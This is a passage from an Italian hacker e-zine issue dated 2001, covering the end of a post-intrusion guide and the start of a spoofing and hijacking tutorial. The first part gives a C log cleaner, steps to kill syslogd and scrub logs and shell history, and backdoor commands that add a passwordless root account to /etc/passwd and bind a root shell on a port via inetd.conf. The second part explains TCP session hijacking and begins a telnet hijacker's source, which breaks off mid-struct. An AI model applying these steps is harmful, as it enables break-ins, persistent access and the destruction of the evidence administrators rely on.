| * OK moving to /var .... * |
| ***************************/ |
| for (i=0;i<4;i++) { |
| printf("Processing %s\t", varlogs[i]) ; |
| lin = fopen (varlogs[i], "r") ; |
| if (lin == 0) { |
| fprintf(stderr, "\nHmmm. Couldn't reach var ...\n") |
| ; |
| fclose (lin) ; |
| break ; |
| } |
| lout = fopen (newlogs[i], "w") ; |
| if (lout == 0) { |
| fprintf(stderr, "\nHmmm. Couldn't reach var ...\n") |
| ; |
| fclose (lout) ; |
| break ; |
| } |
| else { |
| while (fgets(buffer, MAXBUFF, lin) != NULL) { |
| if ((!strstr(buffer, ninja)) && |
| (!strstr(buffer, zaibatsu)) && (!strstr(buffer, zaibatsu_ip))) { |
| fputs(buffer, lout) ; |
| } |
| } |
| } |
| fclose (lin) ; |
| fclose (lout) ; |
| printf(" DONE.\n") ; |
| } |
| system ("mv messages.hm /var/log/messages"); |
| system ("mv secure.hm /var/log/secure"); |
| system ("mv xferlog.hm /var/log/xferlog"); |
| system ("mv maillog.hm /var/log/maillog"); |
| exit () ; |
| } |
| |
| |
| ::th3 L0gs f1L3:: |
| |
| Ora viene il bello dell'impresa. Da questo momento sarà solo la nostra |
| abilità che ci |
| permetterà di non farci beccare dal Sys e di mantenere l'accesso alla |
| macchina il più a |
| lungo possibile ... facciamo un pò di pulizia :-D ... |
| I log piu bastardi di un sistema unix/unix-like sono situati nelle seguenti |
| directory : |
| |
| /etc/log (default) |
| /tmp/log - /temp/var/log |
| /var/run (qui trovate anche i *.pid dei demoni che girano sulla macchina) |
| /var/log - /var/adm |
| /usr/log - /usr/adm/log |
| |
| I log piu comuni possono essere cancellati tramite cleaner quali zap o |
| hideme. |
| Qui sotto riporto il programma hideme.c scritto da FuSys di BFI. |
| (vi rimando al suo articolo su BFI per maggiori info sui log di unix) |
| |
| ----------------------8< taglia qui------------------------------------- |
| |
| |
| |
| In ogni caso è bene non cancellare MAI i file log dal sistema ma cancellare |
| solo il proprio ip address. |
| |
| *NOTA* : Hideme non pulisce però tutte le nostre tracce le nostre ... |
| esistono |
| altri log al di fuori di quelli "controllati" da hideme. Di seguito trovi |
| info su come |
| risolvere buona parte dei problemi di logging. |
| |
| Prima ancora di avviare il nostro cleaner è bene killare il logger del |
| sistema |
| (syslogd) nel seguente modo : |
| |
| # ps -def | grep syslog (individuo il processo) |
| |
| # kill (pid) syslogd |
| |
| In questo modo da ora in poi ogni comando eseguito non verrà piu loggato. |
| Per essere ancora piu sicuri e bene controllare il file /etc/messagges in |
| cui si possono |
| trovare un infinità di info , oltre che al file /etc/syslog.conf per |
| scoprire altri files |
| log nel sistema che non abbiamo ancora cancellato. |
| Un altro file da controllare è il file /etc/login.defs. |
| |
| *NOTA*: quando killi il processo non verrai più loggato dai log files del |
| sistema (almeno |
| si spera! :-). Tuttavia il SyS potrebbe insospettirsi del fatto che il suo |
| syslogd è stato |
| killato, e quindi puo' pensare che qualcuno (noi ;-) abbia rootato sulla |
| sua macchina ... |
| quindi dopo aver svolto ogni operazione di "mimetizzazione" all'interno del |
| sistema riavviate |
| il demone syslogd ... |
| |
| Nel caso in cui il Sys abbia spostato i files sopra citati, è possibili |
| cercarli |
| digitando da shell il seguente comando : |
| |
| find / -name file ["file" è il nome del file] |
| |
| Per essere ancora + sicuri è doverose greppare /etc, /var e /sbin alla |
| ricerca di files che |
| possano contenere il nostro ip address e/o il nostro hostname quindi da |
| shell digitiamo : |
| |
| grep -r "hostname" /etc (l'opzione -r serve per greppare ogni files in ogni |
| directory |
| presente in /etc) |
| |
| in un secondo momento grepperemo allo stesso modo cercando il nostro ip |
| address, e al termine |
| di ciò ripeteremo le operazioni in modo uguale per /var & /sbin ) |
| Nel caso in cui aveste trovato file(s) conteneti il vostro ip/hostname |
| trattate i files nel |
| seguente modo :
|
| [nome file: file_bastard.log mio ip: 123.123.123.123] |
| |
| # grep -v file_bastard.log "123.123.123.123" -V > temp |
| # del file_bastard.log |
| # mv temp file_bastard.log |
| |
| In questo modo abbiamo filtarto tutte le linee che non contengono il nostro |
| ip addres dal file .log |
| in questione e le abbiamo posizionato nel file "temp". In un secondo |
| momento abbiamo cancellato il |
| file log e abbiamo posizionato temp al posto del file log : di noi non c'è |
| più traccia ! |
| [controla sempre le dimesioni dei files che tratti in questo modo per |
| evitare errori !] |
| |
| ::HIST0Ry__f1l3:: |
| |
| Ora che abbiamo cancellato le nostre traccce (si spera ! :-) dobbiamo |
| cancellare il file |
| history, in cui vengono registrati tutti i comandi da noi digitati. |
| Prima di tutto facciamo in modo che il file in questione venga cancellato |
| non appena |
| lasceremo il sistema digitando : |
| |
| # unset HISTFILE |
| e infine facciamo in modo che non venga piu scritto un nuovo file history |
| linkandolo a null : |
| # ln -s /dev/null .bash_history |
| |
| Dopo di che cancelliamo il file .bash_history dal sistema per maggiore |
| sicurezza. |
| Naturalmente il tutto vale se la shell da noi usata è la bash. Il file |
| history e situato |
| nella home dir dell'utente (controllate anche il file history di root in |
| /root per spiare |
| le operazioni dell'amministratore di sistema !!! ;-).In ogni caso se non lo |
| trovi usa il |
| comando "find" sopra citato. |
| |
| ::and n0W ?!?:: |
| |
| Ora ci resta che decidere cosa fare con il nostro nuovo sistema ! |
| Solitamente si puo' : |
| |
| 1) Defacing : a mio parere operazione INUTILE soprattutto se si parla di |
| unix e/o unix-like, |
| inquanto le shell unix sono preziose e defacciando un sito non ci si rende |
| proprio invisibili |
| agli occhi del malcapitato Admin ! |
| |
| 2) Sniffing : caricando un bello sniffer sulla nostra shell potremo |
| sniffare le password |
| di altri sistemi, ottenendo in questo modo un bel numero di nuovi account. |
| Per quanto riguarda lo sniffing prima di caricare lo sniffer è bene |
| guardare cosa gira sulla |
| macchina per trovare un nome che sia similare a quelli dei processi in |
| esecuzione |
| Per carica in "background" lo sniffer fai seguire il comando da un "&" : |
| es. # sniffer -(parametri) & |
| |
| 3) Us3 the shell : avendo a nostra disposizione una bella shell di root |
| possimao fare un sacco |
| di cose, caricare BOT, BNC, usare i datapipe ecc... ma sconsiglio di |
| utilizzare le shell in |
| questo modo, inquanto ben presto potreste perdere l'accesso al sistema ! |
| [x BNC : http://www.tuttoscript.net, X BOT "eggdrop" -> su : |
| http://packetstormsecurity.org ] |
| [su BFI trovi diverse info sui "datapipe" oltre che ad ottimo codice] |
| |
| ::B4ck_d00rS:: |
| |
| Ora è di nostro grande interesse creare delle backdoors per accedere in |
| futuro al sistema |
| bucato. Esistono moltissime backdors che possono essere utilizzate sotto un |
| sistema unix |
| unix-like, quindi mi limiterò a descrivere le più semplici (ma purtroppo |
| anche quelle meno |
| occultate nel sistema!) : |
| |
| 1) n3w 4ccount : bucato il sistema si potrebbe voler aggiungere un nuovo |
| account per futuri |
| accessi. Si può usare il comando adduser ma la via piu veloce è la |
| seguente : |
| |
| echo "r00t::0:0:r00t:/:/bin/bash" >> /etc/passwd |
| |
| In questo modo telnettandoci al server vittima si potrà accedere al |
| sistema inserendo solo |
| il login (r00t). Nessuna password è richiesta in questo caso. |
| |
| 2) sh3LL : Un'altra interessante backdoor è di mettere in ascolto di una |
| porta da noi |
| scelta una shell root, modificando in modo adeguato il file |
| /etc/inetd.conf nel |
| seguente modo : |
| |
| echo "666 stream tcp nowait root /bin/bash bash -i" >> /etc/inetd.conf" |
| |
| e poi riavviando il demone nel seguente modo : |
| |
| killall -HUP inetd |
| |
| 3) m0dify /b1n : è possibile modificare inoltre il contenuto della |
| deirectory /bin per |
| inserire interessanti backdoors. Un esempio potrebbe essere sostituire |
| il "cal" con una |
| SUID shell. Eseguendo "cal" otterremo il MAGNIFICO "#" ! |
| |
| Per quanto riguarda la trattazione delle backdoors vi consiglio vivamente |
| di leggere gli |
| articoli pubblicati su BFI, molto ben fatti e completi. |
| |
| ::TrcCh1 & s3gr3t1:: |
| |
| A questo punto è bene ilusrare una serie di trucchetti utilissimi per |
| mantenere l'accesso |
| alla macchina il più possibile. |
| |
| 1) /etc/syslog.conf : questo file è stato accenato in precedenza. Esso |
| specifica al demone |
| syslogd COME e dove loggare ogni accesso ecc ... spesso però il logging può |
| avvenire |
| su macchine diverse da quella che abbiamo hackerato. Se ciò avvinene |
| troverai |
| nel file /etc/syslog.conf una cosa del genere : |
| |
| *.* @somehostname.xxx |
| |
| Vedere il contenuto di syslog.conf è utile anche per scoprire log che sono |
| sfuggiti |
| al cleaner. Da shell digita : |
| |
| # more /etc/syslog.conf |
| |
| Il risulatao sarà illuminante ... :-)) |
| Annota soprattutto se info e/o warnign vengono spediti per e-mail al root. |
| Dopo di che |
| spostati nella directory specificata e cerca eventuali ip/host digitando : |
| |
| grep yourhost * | more |
| grep yourip * | more |
| |
| Se vuoi avere un maggior controllo del sistema, puoi modificare il |
| contenuto di |
| syslog.conf e dirottare log/info dove vuoi tu ... ricorda che se il Sys è |
| un pò sveglio |
| si accorgerà ben presto delle modifiche ! |
| In ogni caso se decidi di fare ciò ricorda di killare prima syslogd e di |
| riavviarlo dopo |
| aver modificato il contenuto del file syslog.conf. |
| |
| 2) Mail reading : la lettura della posta del sistema che hai bucato puo' |
| esserti MOLTO utile per studiare il tuo nemico e per scoprire nuovi |
| segreti. |
| Ricordati di non leggere MAI la posta con gli appositi programmi di "mail |
| reading". |
| La posta (non letta) la puoi leggere TUTTA nella directory /var/spool/mail. |
| Cerca ppiuttosto un programma mail che non aggiorni i putatori ... |
| In ogno caso le mail già lette puoi trovarle in /root/mail e in ogni |
| /user/mail. |
| [in /var/spool trovi anche trovi non solo la posta degli utenti ma anche le |
| code di |
| stampa, cron, ecc ...] |
| |
| 3) Cron table : è consigliabile prendere in considerazione i cron (in |
| /var/spool/cron) |
| per controllare eventuali "bastardate" settate dall'amministratore che |
| potrebbero |
| fregarci ... :-> |
| I cron possono essere inoltre utilizzati per settare interessanti |
| backdoor. |
| Un esempio? un cron che attivi uno script, il quale a sua volta mette in |
| ascolto di una porta da noi scelta, una SUID shell a mezzanotte ... |
| Si può anche fare in modo che sia il cron a settare la shell direttamente, |
| ma sarebbe |
| troppo semplice per l'Admin scoprire la backdoor ... ancora meglio se |
| modifichiamo |
| eventuali script dell'amministartore a nostro piacimento, non so se mi |
| spiego ! :-) |
| |
| 4) /etc/login.def : si è accennato a questo file anche in precedenza , be |
| non c'è |
| da dire molto ... guardatelo perchè potreste trovare delle sorprese ! |
| |
| 5) Files INFO : ogni file che andremo a modificare riporterà la data e |
| l'ora della sua |
| ultima modifica ... per essere ancora più invisibili nel sistema bisogna |
| annotarsi la data |
| e l'ora di ogni files, e ripristinarla dopo che abbiamo modificato i file |
| in questione, con |
| il comando "touch" (man touch). Analogamente bisogna cambiare il gruppo di |
| apparteneza dei |
| files che carichiamo nel sistema con il comando "ghgrp". |
| |
| ::c0nclus10n1:: |
| |
| AL termine di questo mini HOWTO, vorrei consigliare di fare mooolta |
| attenzione quando si |
| cerca di bucare un sistema unix, perchè non si è mai sicuri al %100 di fare |
| hacking in |
| assoluta anonimicità ! Fate anche molta attenzione hai sistemi che cercate |
| di bucare ! |
| Server di siti molto importanti potrebbero far girare degli IDS (intenet |
| Detection System), |
| dei veri e propri figli di PUTTANA sempre pronti a mettervelo nel cul... |
| Buona fortuna ragazzi e mi raccomando moolta (con due o) attenzione ! |
| |
| ::s4lut1:: |
| |
| Un grande saluto a tutte le persone che mi hanno aiutato (o meglio a cui ho |
| rotto le palle per |
| imparare qualcosa ;-) a tutti gli amici di #TNT, #HX , #hackmaniaci , |
| #preak.it , #isoladeipirati. |
| Infine un grande saluto a Mr.Wolf , LordMark , wHiTeSnAk , FRANZ , Zero , |
| Tritemius (6 il migliore), |
| SonGoten , LordMirror , bartx , Theli (il cracker olandese) e a tutti gli |
| amici della TNT crew ! |
| |
| ::FucK:: |
| |
| Un bel VAFFANCULO a tutti i conglioni che sono andati a rompere il cazzo al |
| G8 e che le hanno |
| prese di santa ragione !!! (ahahahhaha) |
| |
| EOF. |
| +---------------------------------------------------------------------------+ |
| | c0nt4ct m3 : d3fu@hushmail.com | |
| |---------------------------------------------------------------------------| |
| | 1rc : irc.tin.it #phreak.it - #crack.it - #isoladeipirati | |
| |---------------------------------------------------------------------------| |
| | 1rc2 : irc.azzurra.net #TNT - #hackmaniaci - #HX | |
| +---------------------------------------------------------------------------+ |
| |
+-------------------------------------------------------------------------------+
+-------------------------------------------------------------------------------+
| ONDAQUADRA ~ [HACKiNG] #04 - 19/11/2001 |
| Spoofing & Hijacking [CityHunter] 0x07/0x23 |
+-------------------------------------------------------------------------------+
| |
| Yo a tutti!Questo è il mio primo articolo che ho l'onore e l'onere di |
| scrivere! |
| Scriverò certamente cagate(spero il meno possibile...altrimenti che lo |
| scrivo a |
| fare?)e siete pregati quindi di mandarmi email con relativi improperi e |
| possibil |
| mente aiuti espiegazioni! So che i ringraziamenti andrebbero alla fine, ma |
| vista |
| l'importanza che hanno per me e per quel poco che ho appreso in varie ore di |
| lettura ho deciso di metterli in cima! |
| In primis colui che per primo mi ha salutato su #hack e che mi ha dato la |
| chioc- |
| ciolina:-) XpTerminator(continua così frà che vai forte!E voglio la prima |
| della |
| tua nuova guida!!)un grandissimo saluto alla splendida Delilah(non ricordo |
| dove |
| va la "h"...non te la prendere!!:-))),Marsio e il mitico BIGAlex per le |
| chiacchi |
| erate e tutti gli altri che non ricordo in questo momento(vi aggiungo più |
| tardi!!), ma soprattutto questo art va a FuSyS di BFI che mi inizializzato, |
| tramite i suoi progetti, all'arte dello spoofing(di cui,insisto,sono ancora |
| uno |
| studentello!). |
| Ok...bando alle ciance e cominciamo col fare qualcosa di concreto! |
| Questo è un art misto tra un how to e soprattutto spiegazioni di quello che |
| si |
| trova in rete.Lo scopo finale dell'articolo è riuscire ad acquisire le |
| conoscen- |
| ze atte a creare un telnet hijacker con supporto ethstavo rileggendo ciò che |
| ho scrittofino qui...cazzo che |
| serio!!!Ho qualcosa che non va oggi:-)) |
| Prima di incominciare con lo spoof è bene dare un'occhiata ai vari |
| protocolli |
| TCP/IP (che ricordoper i super newbies essere un insieme di protocolli e non |
| uno |
| solo)! |
| |
| +------------------------------+ |
| | TCP/IP | |
| +------------------------------+ |
| |
| Farò una spiegazione abbastanza breve perchè su questo di roba in giro per |
| la |
| rete se ne trova in abbondanza. |
| |
| IP: è il protocollo che fornisce un servizio di distribuzione di datagrammi |
| inaffidabile. |
| Inaffidabile perchè non ci è data la garanzia che ciò che spediamo arrivi e |
| in |
| che ordine(se arriva).Molto importante nel campo dello spoofing è l'header |
| del |
| pacchetto, dove sono contenute le nostre"vitali" informazioni. Non sto qui a |
| farvi i vari schemini del caso perchè ci ha già pernsato in maniera pi- che |
| efficente Xp nel numero3 di OndaQuadra e vi rimando a lui(e al progetto |
| OnoSendai di Fusys su BFI)(dove tra l'altro questa parte è decisamente fatta |
| meglio di quello che sto scrivendo...ma ripetere cose identiche non mi pare |
| il |
| caso...poi passo per copione:-)):-P) |
| |
| TCP:il nome in s dovrebbe gi
dirvi a cosa serve...Transmission Control |
| Protocol. Bravi!Avete capito...tu?Là in fondo?Non hai capito...ok...spiego |
| per |
| tutti:-) TCP è ciò che ci permette di trasferirei nostri file senza perdite |
| di |
| dati(cosa che sarebbe molto probabilemente accaduta se avessimo usato solo |
| IP), |
| che d
vita ai vari servizi quali Telnet, FTP, Http ecc.(se vi interessa la |
| spe- |
| cifica ufficiale è nell'RFC 793). |
| Il trasferimento dati avviene in modo bufferizzato, cio prima di effettuare |
| una |
| trsmissione attraverso IP, il TCP attende di aver riempito un'area di |
| memoria |
| (buffer appunto) con una quantit
di dati che valga il costo della |
| trsmissione:) |
| ...è anche possibile forzare le trasmissioni...ma non ci riguarda da vicino! |
| |
| Qui vi immetto lo schemino perchè ci tornerà utile in seguito: |
| |
| |
| +---------------------------------------------------------------------------- |
| trsmission+ |
| | | | |
| | |
| | IP Header | TCP Header | TCP Data |
| | |
| | | | |
| | |
| +---------------------------------------------------------------------------- |
| + |
| Tutti e tre assieme formano il datagramma IP, gli ultimi due(quelli che |
| iniziano con TCP per intenderci) il segmento inerente al TCP |
| |
| Qui guardiamo con attenzione il TCP Header: |
| |
| +---------------------------------------------------------------------------- |
| in--+ |
| | 16 bit per la porta di partenza |
| | 16 bit per la porta di destinazione |
| +---------------------------------------------------------------------------- |
| | 32 bit SEQ number |
| | |
| +---------------------------------------------------------------------------- |
| --+ |
| | 32 bit ACK number |
| |
| +---------------------------------------------------------------------------- |
| --+ |
| 4 bit | |
| | |
| |lunghezza | 16 bit window size |
| |
| |header | |
| | |
| +---------------------------------------------------------------------------- |
| --+ |
| | 16 bit checksum | 16 bit urgent pointer |
| | |
| +---------------------------------------------------------------------------- |
| --+ |
| | option |
| | |
| +---------------------------------------------------------------------------- |
| --+ |
| | data |
| | |
| +---------------------------------------------------------------------------- |
| --+ |
| |
| Ok...passiamo ad analizzare alcuni campi(quelli che più ci interessano): |
| i primi due sono la porta dell'host di partenza e quella di destinazione. |
| Ed ora arriviamo a ciò che più ci interessa(e che più mi spaventava...un |
| casino!!!): |
| il SEQ i l'ACK (ricordiamo anche la flag SYN che fa parte del datagramma |
| IP... |
| ne parlo come se non fosse importante...mah...è importantissima cmq!!!) |
| |
| SYN sta per SYNchronise, sincronizza i numeri SEQ dei due host; |
| ACK sta per ACKnowledge, riconosce i dati inviati dal peer; |
| FIN sta per FINished, l'origine ha terminato la trasmissione dei dati; |
| RST sta per ReSeT, rompe la connessione; |
| ci sarebbero anche PSH(push) e URG(urgent)...ma poi vi stufate di leggere e |
| mi |
| mandate le mail con gli improperi!:-)). |
| |
| Ora,tanto per capire meglio come avviene una connessione TCP/IP vi simulo un |
| inizio di connessione:siamo nel nostro bel computerino in casa alle 4 di |
| notte |
| (o mattina??...mah...) e decidete di connettervivia telnet alla vostra |
| backdoor |
| preferita(in questo caso potrebbe essere una sessione telnet) |
| Voi impersonate l'host A(scegliete...Attacker...Acker senza H....fate |
| voi:-)) |
| il server sarà l'host B(bersaglio?:-)) |
| Aprite il vostro bel telnet e connettetevi...vediamo ciò che succede nella |
| vostra bella connessione (per lo scopo, se volete provare, usatevi un bello |
| sniffer tipo TCPDump o cose simili...se ho tempo |
| vi metto un semplice sniffer allegato)(mi spiace...non faccio in |
| tempo...devo |
| studiare!Cmq tcpdump dovrebbe esserci in ogni distribuzione...ed è |
| sicuramente |
| meglio di quello che vi avrei dato io!!!) |
| |
| (prima uno schema facile poi quello nel dattaglio) |
| |
| ---------------syn---------------> 1) |
| A) <----------syn [ack=(isn+1)]------ (B 2) |
| ---------------[ack=(isn+1)]-----> 3) |
| |
| voi cercate di iniziare una connessione con B e gli spedite una bella SYN |
| (passo |
| 1) B risponde con la vostra SYN e il suo ACK (uguale all'ISN di A+1...dopo |
| questo passo lo spiego meglio) |
| ed infine A rimanda l'isn di B+1. Che fatica...credo non abbiate capito |
| nulla, |
| vero? Ok...ci riprovo con un esempio più pratico: |
| |
| A:190.10.10.1 |
| B:190.10.10.2 (li ho usati simili per comodit
...non implica che debbano |
| essere |
| nella stessa subnet) |
| |
| salto la connessione telnet e arrivo al quid...il 3-WAY HANDSHAKE(applausi |
| di |
| sottofondo) |
| |
| 190.10.10.1:69 >190.10.10.2:23 SEQ:1323466780 ACK:0 FLAGS: SYN |
| 190.10.10.2:23 >190.10.10.1:69 SEQ:3242354354 ACK:1323466781 FLAGS: SYN |
| ACK |
| 190.10.10.1:69 >190.10.10.2:23 SEQ:1323466781 ACK:3242354354 FLAGS: ACK |
| |
| dovreste ritrovarvi un po' vero?(ditemi di sì...se no mi scoraggio!:-))) |
| |
| Come promesso vi spiego l'ISN di cui non ho ancora parlato. ISN sta per |
| initial |
| sequence number. |
| Il SEQ di A(primo dato trasmesso) prende anche il nome,appunto,di ISN. |
| |
| Ok...mi pare proprio di aver detto tutto riguardo al 3-WH...se non avete |
| capito |
| qualcosa...beh..mi spiace per voi ma più di così non saprei che dirvi!:-)) |
| |
| Ora inizia la parte difficile anche per me(sto scrivendo questo articolo |
| soprattutto per me...per riordinare le idee) |
| |
| Vorrei parlare soprattutto di Hijacking quindi salterò parti importanti come |
| lo |
| sniffing... quando avrò accumulato più info al riguardo ve ne parlerò poi:-) |
| Per ora accontentatevi! |
| |
| Faccio ancora una piccola digressione per darvi un'infarinatura generale |
| sullo |
| spoofing, anche se credo ne sappiate gi
abbastanza...ma si spera sempre di |
| colmare qualche piccola lacuna!Ma prima... |
| |
| DISCLAIMER |
| ========== |
| Questo documento è stato sviluppato solo per scopo educativo, per |
| aiutare a capire le reti, ed aiutare i sysadmin a difendersi da eventuali |
| attacchi descritti in questo documento. Di conseguenza l'autore del |
| testo non si assume nessuna responsabilità su ciò che venga fatto |
| tramite queste informazioni, e non ne incita l'utilizzo per scopi |
| fraudolenti. |
| |
| (miseramente rippato dalla guida di Xp...grazie frà!:-)))(non l'ho messo |
| prima |
| perchè non avevo ancora messo nulla di "compromettente") |
| |
| ledis end gentlemen... |
| +--------------------------------------------------------+ |
| | | |
| | IP-SPOOFING | |
| | | |
| +--------------------------------------------------------+ |
| |
| Per SPOOFING si intende quella tecnica(o insieme di tecniche) atta a |
| costruire i |
| propri pacchetti IP con indirizzo di provenienza falso. Immaginate quanto |
| questo |
| sia affascinante e utile ai nostri loschi scopi(dimenticavo...è un |
| tutorial... |
| quindi di cose da bimbi cattivi non bisogna parlare, hihihihi). |
| Massimo anonimato, possibilità di scavalcare firewall(e tanto altro che |
| lascio |
| alla vostra immaginazione) ...cosa volete di più dalla vita? Purtroppo tutto |
| questo ben di Dio non è proprio facile facile da ottenere:-( |
| Ma vediamo di distinguere un po' le cose: lo spoofing si divide in vedente e |
| cieco(che bravo che sono...ho pure messo la i in cieco:-)) |
| |
| Il vedente è un po' il fratellino minore...quello che che ancora non conosce |
| tutti gli angoli della suacasa e deve usare gli occhi per girarla(minchia |
| che |
| esempio...cmq avete capito!) |
| Un po' più tecnicamente accade questo: abbiamo un bello sniffer installato |
| nella |
| rete che vogliamo attaccare e grazie a lui possiamo vedere tutti i SEQ e ACK |
| che |
| ci servono per instaurare una connessione così |
| facendo siamo in grado di vedere appunto ciò che accade e i dati che |
| riceviamo |
| (da qui "vedente"). |
| |
| In un attacco cieco invece le grane aumentano parecchio...non vedremmo alcun |
| dato tornare indietro(immaginate: impersoniamo il server A e vogliamo |
| connetterci a B usando l'indirizzo di C...secondo voi dove vanno i dato che |
| B |
| manda?...Bravi!a C...e noi chi siamo? A...quindi?Non vedremo un beneamato |
| cazzo) |
| e noi non saremo in grado di conoscere i SEQ e ACK necessari per la |
| connessione |
| ...dovremo proprio indovinarli. |
| Questa parte però non l'ho ancora approfondita, quindi noi ci occuperemo di |
| una |
| particolare tecnica del vedente:l'Hijacking!!!!!!!!!!(rullo di trombe e |
| squilli |
| di tamburi!!!) |
| |
| +----------------------------------------------------------+ |
| | | |
| | HIJACKING | |
| | | |
| +----------------------------------------------------------+ |
| |
| L' Hijacking è una versione molto interessante dello spoofing vedente. |
| Consiste |
| nel dirottamento della connessione in corso e nell'inserimento di dati |
| nostri |
| nella connessione che vogliamo attaccare. |
| Che figata vero?:-)) C'è da precisare(purtroppo,altrimenti sarebbe il |
| paradiso) |
| che questo tipo di spoofing lo si più fare quasi unicamente quando A e |
| C(vedi |
| sotto) sono nella stessa sottorete, quindi questo accade solitamente in una |
| LAN. |
| |
| Facciamo uno schemino che ormai c'ho preso gusto:-)) |
| |
| I giocatori sono i soliti A(noi) |
| B(bersaglio) |
| C(cazzone a cui rubiamo la connessione) |
| |
| B <---------------------/---------------->C (hihihihi...poverino) |
| | |
| | |
| / |
| / |
| A--------------> |
| |
| Ok,Ok...piccola spiegazione tecnica: in sostanza B e C entrano nello stato |
| ESTABLISHED dopo il 3-WH. |
| A questo punto l'attacco funge così: A inserisce nella connessione in corso |
| tra |
| B e C dei dati |
| desincronizzando la connessione legale e alterando la coppia SEQ/ACK del |
| server |
| in faccia al client. |
| Prima però di spiegare come avviene la desincronizzazione c'è da precisare |
| una cosa:per forza di cose,come abbiamo visto sopra, questo attacco si può |
| fare quasi unicamente via LAN (almeno A e C devo essere nella stessa |
| sottorete)quindi occorre mettere l'interfaccia di rete eth in modalità |
| promiscua.Che vuol dire promiscua? Semplice...se non lo facessimo noi non |
| vedremmo i dati tornare indietro...in sostanza mettendo in modalità promiscua |
| vedremo tutti i dati che partono e arrivano nella nostra LAN.La funzione che |
| lo fa nel codice è la "ethclose". Se vorrete creare uno sniffer dovete |
| assolutamente ricordarvi di mettere la vostra interfaccia in modalità |
| PROMISCUA. |
| |
| |
| Ok...per desincronizzare B e C come si fa?Pronti...ci sono tre bei metodi:-) |
| |
| d1)Quando il server(A) si trova nel punto 2 dello schemino fatto sopra(quello |
| del |
| TCP/IP) inviamo un bel pacchetto RST(chiaramente fingendo da parte del |
| client)e |
| cerchiamo di instaurare una nuova connessione con un nuovo ISN. Il server |
| aggiornerà il suo ACK e cercherà di rispondere con un nuovo ISN. Noi |
| rispondiamo con un ACK all'ISN del server. Cosa succede quindi? Il client(C) |
| resta in stato ESTABLISHED ma sarà scoordinato rispetto al nuovo ISN del |
| server |
| (A). |
| |
| 2)(Metodo più grezzo se vogliamo perchè meno occulto) Inviamo al client dei |
| messaggi ICMP del tipo HOST(port)_UNREACH(vedi nuker su IRC) e noi |
| allegramente |
| ci impadroniamo della connessione. |
| |
| 3)(Quello che useremo) A connessione già avvenuta da Client e Server ci |
| connettiamo al server (chiaramente con l'IP del client...se no a che |
| serve?:-))) |
| incrementando così l'ACK del server.Così facendo otteniamo la |
| desincronizzazione |
| del client dal server e noi saremo nel flusso della connesisone. |
| |
| Ora si aprono due strade...un po' come l'amleto:occultati, o non accultati? |
| Questo è il dilemma!(era l'amleto vero?Che poi mi tiro la zappa sui piedi |
| facendo il figo:-))) |
| Mo' spiego: se optiamo per la prima scelta dobbiamo smistare i pacchetti |
| diretti |
| dal server a noi e diretti al client giusto(man in the middle), |
| altrimenti,nella |
| seconda ipotesi, lasciamo che il client blocchi la connessione(lasciandolo |
| per |
| esempio in FIN_WAIT1. |
| |
| Ok...possiamo dire che qui si conclude la parte più teorica(e temo la più |
| facile |
| ...so già che mi sono cacciato in un bel casino!:-)))e ora ci immergiamo nel |
| magico mondo di Polly Pocket...ehm...no...volevo dire della |
| programmazione:D(che |
| burlone che sono:-)) |
| |
| Prima di attaccare vi do i vari testi di riferimento da cui mi sono |
| ispirato(e |
| anche rippato...non c'è nulla di male se si mettono gli autori no?Se |
| qualcuno ha |
| da ridire...pasiensa:-))) |
| 1) Tutti gli articoli di FuSyS su BFI(numeri 3,4,5 se non ricordo male),in |
| particolar modo i progetti Onosendai; |
| 2) coder@reptile per il suo testo basilare "A short overview of IP spoofing: |
| Part I";e per i vari codici esplicativi; |
| 3) LordFelix su BFI2(o 3...non li ho sottomano e non mi ricordo) per il |
| tutorial |
| sulla programmazione dei socket; |
| 4) Il signore degli anelli...non c'entra molto, ma se non l'avete letto dico |
| in |
| giro che ce l'avete piccolo piccolo e non riuscirete mai ad hackare un |
| cazzo; |
| |
| Ok...Fine prima parte! |
| |
| +---------------------------------------------------------------+ |
| | | |
| | Hijacking telnet | |
| | | |
| +---------------------------------------------------------------+ |
| |
| Qui cercherò di darvi tutte le spiegazioni inerenti alle varie funzioni del |
| nostro codice. Avrei potuto utilizzare l'#include<spoofit.h> di |
| coder@reptile... |
| ma senza sbattervi non avreste capito una mazza!Così c'ho pensato io per |
| voi! |
| Allora coraggio,iniziamo la nostra avventura nel codice! |
| |
| -------------se non vuoi sbatterti a ricopiare taglia |
| qui----------------------- |
| |
| /**************************************************************************** |
| * Hjtel.c Telnet Hijacker di base...non aspettatevi grandi cose!Serve |
| * per darvi un'infarinatura |
| * Se avete letto tutto ciò che sta sopra sapete già come |
| * funziona. Non ho voglia di |
| * ripetervi tutto!:-)) Funziona sotto eth...se proprio lo |
| * volete sotto ppp non farete fatica |
| * a cambiare il codice! |
| * I testi a cui mi sono ispirato li ho già elencati. |
| * I ringraziamenti già fatti!:-) Grazie a tutti! |
| * Un'ultima cosa poi comincio(fidatevi...comincio davvero!!)! |
| * Ho sempre sognato di farlo |
| * Ora:il tutto è stato fatto in tre giorni...dalle 2 di |
| * pomeriggio alle 2 di notte:-) |
| * Cibo consumato: nulla...gomme per tenere reattiva la mente(e |
| * l'alito...dopo si va dalla tipa:-DD) |
| * |
| * Musica: in questo momento i motori di GT2 del mio coinquilino |
| * (che saluto e mando...:-)* |
| * |
| * Altro...??Mi tocca iniziare!:-))) |
| * |
| * |
| * |
| ***************************************************************************** |
| |
| |
| #include <netdb.h> |
| #include <stdlib.h> |
| #include <unistd.h> |
| #include <stdio.h> |
| #include <errno.h> |
| #include <netinet/in.h> |
| #include <linux/ip.h> /*include dove sono definite le strutture |
| dell'ip...*/ |
| #include <linux/if.h> |
| #include <sys/ioctl.h> |
| #include <sys/types.h> |
| #include <signal.h> |
| #include <fcntl.h> |
| |
| #define MTU 1500 |
| #define IP_VERSION 4 |
| #define IP_HEAD_BASE 20 |
| #define TCP_HEAD_BASE 20 |
| #define INTERFACE "ppp0" /*per Ethernet mettete "eth0"*/ |
| #define INTERFACE_PREFIX 0 /*sempre per Ethernet mettete 14*/ |
| #define MY_TOUCH 666 |
| #define URG 32 /*da URG a FIN sono le TCP |
| flags...*/ |
| /*dovreste saperlo no?Cmq è scritto |
| sopra*/ |
| #define ACK 16 |
| #define PSH 8 |
| #define RST 4 |
| #define SYN 2 |
| #define FIN 1 |
| |
| int DEV_PREFIX; |
| sig_atomic_t WAIT_PACKET_WAIT_TIME = 0; |
| int fd_recive, fd_send; |
| |
| |
| /* Iniziamo con le nostre belle strutture */ |
| |
| struct wait_packet |
| { |
| unsigned long seq,ack; |
| unsigned short flags; |
| unsigned short source_p,dest_p; |
| int datalen; |
